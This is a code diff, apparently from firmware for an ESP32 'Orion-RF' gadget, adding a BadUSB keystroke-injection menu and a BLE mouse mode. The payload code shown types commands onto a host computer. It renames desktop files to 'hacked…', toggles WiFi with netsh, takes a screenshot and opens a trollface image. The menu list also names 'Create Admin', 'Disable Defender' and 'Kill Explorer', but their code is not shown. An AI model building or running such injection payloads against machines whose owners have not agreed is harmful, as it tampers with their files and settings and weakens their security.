| 317 | + | showRunningScreen(" flash screen"); | |
| 318 | + | for (int i = 0; i < 10; i++) { | |
| 319 | + | runCommand("color 4F"); | |
| 320 | + | delay(200); | |
| 321 | + | runCommand("color 1F"); | |
| 322 | + | delay(200); | |
| 323 | + | } | |
| 324 | + | break; | |
| 325 | + | ||
| 326 | + | case 30: // Rename Desktop Files (basic prank) | |
| 327 | + | ||
| 328 | + | showRunningScreen("rename desktop files"); | |
| 329 | + | runCommand("powershell"); | |
| 330 | + | delay(500); | |
| 331 | + | Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | " | |
| 332 | + | "Rename-Item -NewName {'hacked'+$_.Name}"); | |
| 333 | + | Keyboard.write(KEY_RETURN); | |
| 334 | + | break; | |
| 335 | + | ||
| 336 | + | case 31: // Toggle WiFi (requires admin) | |
| 337 | + | showRunningScreen("toggle wifi"); | |
| 338 | + | runCommand("cmd"); | |
| 339 | + | delay(500); | |
| 340 | + | Keyboard.print("netsh interface set interface Wi-Fi disabled"); | |
| 341 | + | Keyboard.write(KEY_RETURN); | |
| 342 | + | delay(1000); | |
| 343 | + | Keyboard.print("netsh interface set interface Wi-Fi enabled"); | |
| 344 | + | Keyboard.write(KEY_RETURN); | |
| 345 | + | break; | |
| 346 | + | ||
| 347 | + | case 32: // Screenshot | |
| 348 | + | showRunningScreen("screenshot"); | |
| 349 | + | runCommand("powershell"); | |
| 350 | + | delay(500); | |
| 351 | + | Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;"); | |
| 352 | + | Keyboard.write(KEY_RETURN); | |
| 353 | + | delay(300); | |
| 354 | + | Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')"); | |
| 355 | + | Keyboard.write(KEY_RETURN); | |
| 356 | + | break; | |
| 357 | + | ||
| 358 | + | case 33: // Emoji spam | |
| 359 | + | showRunningScreen("emoji spam"); | |
| 360 | + | for (int i = 0; i < 10; i++) { | |
| 361 | + | Keyboard.print("๐"); | |
| 362 | + | Keyboard.write(KEY_RETURN); | |
| 363 | + | delay(500); | |
| 364 | + | } | |
| 365 | + | break; | |
| 366 | + | ||
| 367 | + | case 34: // Control Panel | |
| 368 | + | showRunningScreen("control panel"); | |
| 369 | + | runCommand("control"); | |
| 370 | + | break; | |
| 371 | + | ||
| 372 | + | case 35: // Troll wallpaper | |
| 373 | + | showRunningScreen("troll wallpaper"); | |
| 374 | + | runCommand("cmd"); | |
| 375 | + | delay(500); | |
| 376 | + | Keyboard.print("start https://i.imgur.com/trollface.png"); | |
| 377 | + | Keyboard.write(KEY_RETURN); | |
| 378 | + | break; | |
| 379 | + | ||
| 380 | + | case 36: // MS Paint | |
| 381 | + | showRunningScreen("ms paint"); | |
| 382 | + | runCommand("mspaint"); | |
| 383 | + | break; | |
| 384 | + | ||
| 385 | + | case 37: // Auto Tab Switcher | |
| 386 | + | showRunningScreen(" auto tab switcher"); | |
| 387 | + | for (int i = 0; i < 10; i++) { | |
| 388 | + | Keyboard.press(KEY_LEFT_CTRL); | |
| 389 | + | Keyboard.press(KEY_TAB); | |
| 390 | + | delay(100); | |
| 391 | + | Keyboard.releaseAll(); | |
| 392 | + | delay(300); | |
| 393 | + | } | |
| 394 | + | break; | |
| 395 | + | } | |
| 56 | 396 | } | |
| 397 | + | ||
| 398 | + | ||
| @@ -1,5 +1,5 @@ | |||
| 1 | 1 | #pragma once | |
| 2 | 2 | ||
| 3 | โ | void runBadUSBDemo(); | |
| 4 | โ | void runBadUSBOpenCMD(); | |
| 5 | โ | void runBadUSBRickroll(); | |
| 3 | + | void badUSBMenu(int index); | |
| 4 | + | void showRunningScreen(String taskName, uint8_t duration); | |
| 5 | + | void runCommand(const char *command); | |
| @@ -1,29 +1,29 @@ | |||
| 1 | 1 | #include <Arduino.h> | |
| 2 | 2 | #include <BleMouse.h> | |
| 3 | + | #include "badusb.h" | |
| 3 | 4 | #include "config.h" | |
| 4 | 5 | ||
| 5 | 6 | #include "buttons.h" | |
| 6 | 7 | #include "display.h" | |
| 7 | 8 | ||
| 8 | 9 | // ===== BLE MOUSE ===== | |
| 9 | โ | BleMouse bleMouse("Orion-RF", "Orion-RF", 100); | |
| 10 | + | // BleMouse bleMouse("Orion-RF", "Orion-RF", 100); | |
| 11 | + | extern BleMouse bleMouse; | |
| 10 | 12 | ||
| 11 | 13 | // ===== MAIN ===== | |
| 12 | 14 | void ble_mouse_run() | |
| 13 | 15 | { | |
| 14 | โ | bleMouse.begin(); | |
| 15 | โ | ||
| 16 | โ | // simple screen | |
| 17 | 16 | u8g2.clearBuffer(); | |
| 18 | 17 | u8g2.setFont(u8g2_font_6x10_tr); | |
| 19 | 18 | u8g2.drawStr(10, 25, "BLE Mouse"); | |
| 20 | 19 | u8g2.drawStr(10, 45, "Connecting..."); | |
| 21 | 20 | u8g2.sendBuffer(); | |
| 22 | 21 | ||
| 23 | โ | delay(1000); | |
| 22 | + | delay(800); | |
| 24 | 23 | ||
| 25 | 24 | while (1) | |
| 26 | 25 | { | |
| 26 | + | // ๐ฅ EXIT FIRST (clean) | |
| 27 | 27 | if (btnBack()) break; | |
| 28 | 28 | ||
| 29 | 29 | bool connected = bleMouse.isConnected(); | |
| @@ -33,19 +33,22 @@ void ble_mouse_run() | |||
| 33 | 33 | ||
| 34 | 34 | if (connected) | |
| 35 | 35 | { | |
| 36 | โ | if (!digitalRead(BTN_UP)) dy = -8; | |
| 37 | โ | if (!digitalRead(BTN_DOWN)) dy = 8; | |
| 38 | โ | if (!digitalRead(BTN_LEFT)) dx = -8; | |
| 39 | โ | if (!digitalRead(BTN_RIGHT)) dx = 8; | |
| 36 | + | if (!digitalRead(BTN_UP)) dy = -6; | |
| 37 | + | if (!digitalRead(BTN_DOWN)) dy = 6; | |
| 38 | + | if (!digitalRead(BTN_LEFT)) dx = -6; | |
| 39 | + | if (!digitalRead(BTN_RIGHT)) dx = 6; | |
| 40 | 40 | ||
| 41 | โ | if (dx != 0 || dy != 0) | |
| 41 | + | if (dx || dy) | |
| 42 | 42 | bleMouse.move(dx, dy); | |
| 43 | 43 | ||
| 44 | โ | if (!digitalRead(BTN_SELECT)) | |
| 44 | + | // โ single click (not spam) | |
| 45 | + | static bool lastSelect = false; | |
| 46 | + | bool currentSelect = !digitalRead(BTN_SELECT); | |
| 47 | + | ||
| 48 | + | if (currentSelect && !lastSelect) | |
| 45 | 49 | bleMouse.click(MOUSE_LEFT); | |
| 46 | 50 | ||
| 47 | โ | if (!digitalRead(BTN_BACK)) | |
| 48 | โ | bleMouse.click(MOUSE_RIGHT); | |
| 51 | + | lastSelect = currentSelect; | |
| 49 | 52 | } | |
| 50 | 53 | ||
| 51 | 54 | // ===== UI ===== | |
| @@ -55,14 +58,17 @@ void ble_mouse_run() | |||
| 55 | 58 | u8g2.drawStr(10, 20, "BLE Mouse"); | |
| 56 | 59 | ||
| 57 | 60 | if (connected) | |
| 58 | โ | u8g2.drawStr(10, 35, "Status: Connected"); | |
| 61 | + | u8g2.drawStr(10, 35, "Connected"); | |
| 59 | 62 | else | |
| 60 | โ | u8g2.drawStr(10, 35, "Status: Waiting"); | |
| 63 | + | u8g2.drawStr(10, 35, "Waiting"); | |
| 61 | 64 | ||
| 62 | 65 | u8g2.drawStr(10, 55, "BACK = Exit"); | |
| 63 | 66 | ||
| 64 | 67 | u8g2.sendBuffer(); | |
| 65 | 68 | ||
| 66 | โ | delay(30); | |
| 69 | + | delay(10); // important for BLE stability | |
| 67 | 70 | } | |
| 68 | 71 | } | |
| 72 | + | ||
| 73 | + | ||
| 74 | + | ||
| @@ -4,6 +4,7 @@ | |||
| 4 | 4 | ||
| 5 | 5 | #include <BLEDevice.h> | |
| 6 | 6 | #include <BLEScan.h> | |
| 7 | + | #include <BleMouse.h> | |
| 7 | 8 | ||
| 8 | 9 | #include <RF24.h> | |
| 9 | 10 | #include <nRF24L01.h> | |
| @@ -29,6 +30,9 @@ | |||
| 29 | 30 | // ================= USB HID ================= | |
| 30 | 31 | USBHIDKeyboard Keyboard; | |
| 31 | 32 | ||
| 33 | + | // ===== BLE MOUSE ===== | |
| 34 | + | BleMouse bleMouse("Orion-RF", "Orion-RF", 100); | |
| 35 | + | ||
| 32 | 36 | ||
| 33 | 37 | RF24 radio1(CE1_PIN, CSN1_PIN); | |
| 34 | 38 | RF24 radio2(CE2_PIN, CSN2_PIN); | |
| @@ -38,21 +42,21 @@ SPIClass *RADIO_SPI; | |||
| 38 | 42 | ||
| 39 | 43 | ||
| 40 | 44 | // ================= BLE SCAN ================= | |
| 41 | โ | BLEScan *pBLEScan; | |
| 42 | โ | ||
| 43 | โ | ||
| 44 | โ | void startBLEScan() | |
| 45 | โ | { | |
| 46 | โ | BLEDevice::init(""); | |
| 47 | โ | ||
| 48 | โ | pBLEScan = BLEDevice::getScan(); | |
| 49 | โ | ||
| 50 | โ | pBLEScan->setActiveScan(true); | |
| 51 | โ | ||
| 52 | โ | pBLEScan->start(5); | |
| 53 | โ | ||
| 54 | โ | Serial.println("BLE scan complete"); | |
| 55 | โ | } | |
| 45 | + | //BLEScan *pBLEScan; | |
| 46 | + | // | |
| 47 | + | // | |
| 48 | + | //void startBLEScan() | |
| 49 | + | //{ | |
| 50 | + | // BLEDevice::init(""); | |
| 51 | + | // | |
| 52 | + | // pBLEScan = BLEDevice::getScan(); | |
| 53 | + | // | |
| 54 | + | // pBLEScan->setActiveScan(true); | |
| 55 | + | // | |
| 56 | + | // pBLEScan->start(5); | |
| 57 | + | // | |
| 58 | + | // Serial.println("BLE scan complete"); | |
| 59 | + | //} | |
| 56 | 60 | ||
| 57 | 61 | // ================= SYSTEM INFO ================= | |
| 58 | 62 | void printSystemUsage() | |
| @@ -106,6 +110,10 @@ void setup() | |||
| 106 | 110 | USB.begin(); | |
| 107 | 111 | Keyboard.begin(); | |
| 108 | 112 | ||
| 113 | + | // Begin Ble mouse | |
| 114 | + | bleMouse.begin(); | |
| 115 | + | ||
| 116 | + | ||
| 109 | 117 | // NRF SPI safety | |
| 110 | 118 | pinMode(CSN1_PIN, OUTPUT); | |
| 111 | 119 | digitalWrite(CSN1_PIN, HIGH); | |
| @@ -10,13 +10,7 @@ | |||
| 10 | 10 | #include "wifi_analyzer.h" | |
| 11 | 11 | #include "device_check.h" | |
| 12 | 12 | #include "blemouse.h" | |
| 13 | โ | ||
| 14 | โ | // ================= FEATURE HANDLERS ================= | |
| 15 | โ | void runSystemInfoFeature(); | |
| 16 | โ | void runRFCaptureFeature(); | |
| 17 | โ | void runBLEScanFeature(); | |
| 18 | โ | ||
| 19 | โ | ||
| 13 | + | #include "sysinfo.h" | |
| 20 | 14 | ||
| 21 | 15 | // ================= MENU DATA ================= | |
| 22 | 16 | ||
| @@ -37,12 +31,52 @@ const char *mainMenuItems[] = { | |||
| 37 | 31 | Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])}; | |
| 38 | 32 | ||
| 39 | 33 | // BadUSB submenu | |
| 40 | โ | const char *badusbItems[] = { | |
| 41 | โ | "Demo", | |
| 42 | โ | "Open CMD", | |
| 43 | โ | "Rickroll"}; | |
| 44 | โ | ||
| 45 | โ | Menu badusbMenu = {badusbItems, 3}; | |
| 34 | + | //const char *badusbItems[] = { | |
| 35 | + | // "Demo", | |
| 36 | + | // "Open CMD", | |
| 37 | + | // "Rickroll"}; | |
| 38 | + | ||
| 39 | + | const char *badusbItems[] = {"DEMO", | |
| 40 | + | "KEYBOARD", | |
| 41 | + | "HID SCRIPT", | |
| 42 | + | "Open Notepad", | |
| 43 | + | "Open CMD", | |
| 44 | + | "Show IP", | |
| 45 | + | "Shutdown", | |
| 46 | + | "RickRoll", | |
| 47 | + | "Create Admin", | |
| 48 | + | "Disable Defender", | |
| 49 | + | "Open YouTube", | |
| 50 | + | "Lock PC", | |
| 51 | + | "Fake Update", | |
| 52 | + | "Endless Notepad", | |
| 53 | + | "Fake BSOD", | |
| 54 | + | "Flip Screen", | |
| 55 | + | "Matrix Effect", | |
| 56 | + | "I'm Watching U", | |
| 57 | + | "Open Google", | |
| 58 | + | "Open telegram", | |
| 59 | + | "Play Alarm Sound", | |
| 60 | + | "Endless CMD", | |
| 61 | + | "Type Gibberish", | |
| 62 | + | "Spam CAPSLOCK", | |
| 63 | + | "Open Calc", | |
| 64 | + | "Auto 'Hacked!'", | |
| 65 | + | "Turn Off Monitor", | |
| 66 | + | "Open RegEdit", | |
| 67 | + | "Kill Explorer", | |
| 68 | + | "Flash Screen", | |
| 69 | + | "Rename Desktop", | |
| 70 | + | "Toggle WiFi", | |
| 71 | + | "Auto Screenshot", | |
| 72 | + | "Spam Emojis", | |
| 73 | + | "Open Ctrl Panel", | |
| 74 | + | "Troll Wallpaper", | |
| 75 | + | "Open MS Paint", | |
| 76 | + | "Tab Switcher"}; | |
| 77 | + | ||
| 78 | + | ||
| 79 | + | Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; | |
| 46 | 80 | ||
| 47 | 81 | // ================= MENU STATE ================= | |
| 48 | 82 | ||
| @@ -193,22 +227,7 @@ void launchFeature() | |||
| 193 | 227 | } | |
| 194 | 228 | else if (currentMenu == &badusbMenu) | |
| 195 | 229 | { | |
| 196 | โ | switch (menuIndex) | |
| 197 | โ | { | |
| 198 | โ | case 0: | |
| 199 | โ | runBadUSBDemo(); | |
| 200 | โ | break; | |
| 201 | โ | ||
| 202 | โ | case 1: | |
| 203 | โ | Serial.println("Open CMD payload"); | |
| 204 | โ | runBadUSBOpenCMD(); | |
| 205 | โ | break; | |
| 206 | โ | ||
| 207 | โ | case 2: | |
| 208 | โ | Serial.println("Rickroll payload"); | |
| 209 | โ | runBadUSBRickroll(); | |
| 210 | โ | break; | |
| 211 | โ | } | |
| 230 | + | badUSBMenu(menuIndex); | |
| 212 | 231 | } | |
| 213 | 232 | ||
| 214 | 233 | insideFeature = false; | |
| @@ -1,13 +0,0 @@ | |||
| 1 | โ | #include <Arduino.h> | |
| 2 | โ | ||
| 3 | โ | ||
| 4 | โ | void runRFCaptureFeature() | |
| 5 | โ | { | |
| 6 | โ | Serial.println("RF Capture not implemented yet"); | |
| 7 | โ | } | |
| 8 | โ | ||
| 9 | โ | ||
| 10 | โ | void runBLEScanFeature() | |
| 11 | โ | { | |
| 12 | โ | Serial.println("BLE Scan not implemented yet"); | |
| 13 | โ | } | |